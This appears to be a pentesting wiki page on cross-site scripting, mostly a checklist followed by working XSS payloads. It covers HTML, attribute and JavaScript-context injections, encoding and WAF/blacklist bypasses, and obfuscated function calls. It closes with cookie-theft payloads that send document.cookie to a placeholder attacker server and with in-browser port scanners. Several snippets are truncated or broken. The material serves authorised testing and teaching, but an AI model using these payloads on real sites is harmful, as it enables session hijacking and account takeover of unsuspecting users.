XSS (Cross Site Scripting)


  1. Check if any value you control (parameters, path, headers?, cookies?) is being reflected in the HTML or used by JS code.

  2. Find the context where it's reflected/used.

  3. If reflected

    1. Check which symbols can you use and depending on that, prepare the payload:

      1. In raw HTML:

        1. Can you create new HTML tags?

        2. Can you use events or attributes supporting javascript: protocol?

        3. Can you create your own HTML tags?

        4. Can you bypass protections?

        5. Is the HTML content being interpreted by any client side JS engine (AngularJS, VueJS, Mavo...), you could abuse a Client Side Template Injection.

        6. If you cannot create HTML tags that execute JS code,could you abuse a Dangling Markup - HTML scriptless injection.

      2. Inside a HTML tag:

        1. Can you exit to raw HTML context?

        2. Can you create new events/attributes to execute JS code?

        3. Does the attribute where you are trapped support JS execution?

        4. Can you bypass protections?

      3. Inside JavaScript code:

        1. Can you escape the <script> tag?

        2. Can you escape the string and execute different JS code?

        3. Are your input in template literals ``?

        4. Can you bypass protections?

  4. If used:

    1. You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.

Reflected values

In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.

  • Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.

  • Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.

  • Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.


When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.


If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script ... these are just some of the many possible HTML tags you could use. Also, keep in mind Client Side Template Injection.

Inside HTML tags attribute

If your input is reflected inside the value of the attribute of a tag you could try:

  1. To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse: "><img [...]

  2. If you can escape from the attribute but not from the tag (> is encoded or deleted), depending on the tag you could create an event that executes JS code: " autofocus onfocus=alert(1) x="

  3. If you cannot escape from the attribute (" is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"

  4. If your input is reflected inside "unexpoitable tags" you could try the accesskey trick to abuse the vuln (you will need some kind of social engineer to exploit this): " accesskey="x" onclick="alert(1)" x="

Inside JavaScript code

In this case your input is reflected between <script> [...] </script> tags of a HTML page, inside a .jsfile or inside an attribute using javascript: protocol:

  • If reflected between <script> [...] </script> tags, even if your input if inside any kind of quotes, you can try to inject </script> and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected </script> tag is inside the HTML code.

  • If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:

    • '-alert(1)-'

    • ';-alert(1)//

    • \';alert(1)//

  • If reflected inside template literals `` you can embed JS expressions using ${ ... } syntax: var greetings = `Hello, ${alert(1)}`


There is JS code that is using unsafely some data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.

WAF bypass encoding image


Injecting inside raw HTML

When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case. For this cases also keep in mind Client Side Template Injection. Note: A HTML comment can be closed using --> or --!>

In this case and if no black/whitelisting is used, you could use payloads like:

<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create. Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.

Tags/Events brute-force

Go to and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:


Blacklist Bypasses

If some kind of blacklist is being used you could try to bypass it with some silly tricks:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
//Double tag inside, in case just checked once
//You can substitude the space to separate attributes for:
//Unexpected parent tags
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
//Just weird an unexpected, use your imagination
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (XSS in 20chars)

Taken from the blog of Jorge Lajara.

<script src=//>
<script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr More of these characters can be found here. To check in which characters are decomposed check here.

Weird combinations


<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

Click XSS - Clickjacking

If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).

Impossible - Dangling Markup

If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code. If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="

Within the attribute

Even if you cannot escape from the attribute (" is being encoded or deleted), depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"

Bypass inside event using HTML encoding

The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Note that any kind of HTML encode is valid:

//HTML entities
//HTML hex without zeros
//HTML hex with zeros
//HTML dec without zeros
//HTML dec with zeros
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Bypass inside event using Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Bypass inside javascript:using HTML and URL encoding

Your input could also by reflected in HTML tags that accept the protocol javascript: like <a href="javascript:fetch('/<your_input>'"> in these cases you can still alter the JS flow to execute arbitrary code. In this case the HTML encoding and the Unicode encoding trick from the previous section is also valid as you are inside an attribute. Moreover, there is another nice trick for these cases: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it's executed. So, if you need to escape from the string using a single quote and you see that it's being URL encoded, remember that it doesn't matter, it will be interpreted as a single quote during the execution time. Note the javascript: protocol can be used in any tag that accepts the attribute href and in most of the tags that accepts the attribute src (but not <img)

<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Note that if you try to use both URLencode + HTMLencode in any order to encode the payload it won't work, but you can mix them inside the payload.

Using Hex and Octal encode with javascript:

You can use Hex and Octal encode inside the src attribute of iframe (at least) to declare HTML tags to execute JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Using data encoding

<object data="data:text/html,<script>alert(1)</script>"></object>
<object data="data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e"></object>
<object data="data:text/html;charset=UTF-8,<script>alert(1)</script>"></object>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>
<object data="data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"></object>

From here: You can execute an XSS payload inside a hidden attribute, provided you can persuade the victim into pressing the key combination. On Firefox Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X. You can specify a different key combination using a different key in the access key attribute. Here is the vector:

<input type="hidden" accesskey="X" onclick="alert(1)">

The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use HTML encoding, Unicode encoding, URL encoding, Hex and Octal encoding and even data encoding.

Bypasses for HTML tags and attributes

Read the Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Read the JavaScript bypass blacklist of the following section.

Injecting inside JavaScript code

In these case you input is going to be reflected inside the JS code of a .js file or between <script>...</script> tags or between HTML events that can execute JS code or between attributes that accepts the javascript: protocol.

Escaping <script> tag

If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:

</script><img src=1 onerror=alert(document.domain)>

Note that in this example we haven't even closed the single quote, but that's not necessary as the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts.

Inside JS code

If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It's important to fix JS syntax, because if there are any errors, the JS code won't be executed:


Template literals ``

In order to construct strings apart from single and double quotes JS also accepts backticks `` . This is known as template literals as they allow to embedded JS expressions using ${ ... } syntax. Therefore, if you find that your input is being reflected inside a JS string that is using backticks, you can abuse the syntax ${ ... } to execute arbitrary JS code:

var greetings = `Hello, <your input>`

This can be abused using: ${alert(1)}

JavaScript bypass blacklists techniques


/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"

Space substitutions inside JS code


JavaScript comments (from JavaScript Comments trick)

//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line

JavaScript new lines (from JavaScript new line trick)

//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8

Arbitrary function (alert) call

`` //Can be use as parenthesis
new Function`al\ert\`6\``;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/,new Array)

DOM vulnerabilities

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code. Due to the extension of the explanation of DOM vulnerabilities it was moved to this page. There you will find a detailed explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them. Also, don't forget that at the end of the mentioned post you can find an explanation about DOM Clobbering attacks.

Other Bypasses

Normalised Unicode

You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.



Ruby-On-Rails bypass

Due to RoR mass assignment quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields (onfocus) can be added inside the tag. Form example (from this report), if you send the payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

The pair "Key","Value" will be echoed back like this:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Then, the onfocus attribute will be inserted:

A XSS occurs.

Special combinations

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script ~~~>confirm(1)</script ~~~>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<img src=1 onerror="s=document.createElement('script');s.src='';document.body.appendChild(s);"

Obfuscation & Advanced Bypass


XSS common payloads

Retrieve Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>var xhttp=new XMLHttpRequest();"GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>fetch('', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src =${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://" + ports[i]);
s.start =;
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + ( -this.start) + " ms");
s.onopen = function() {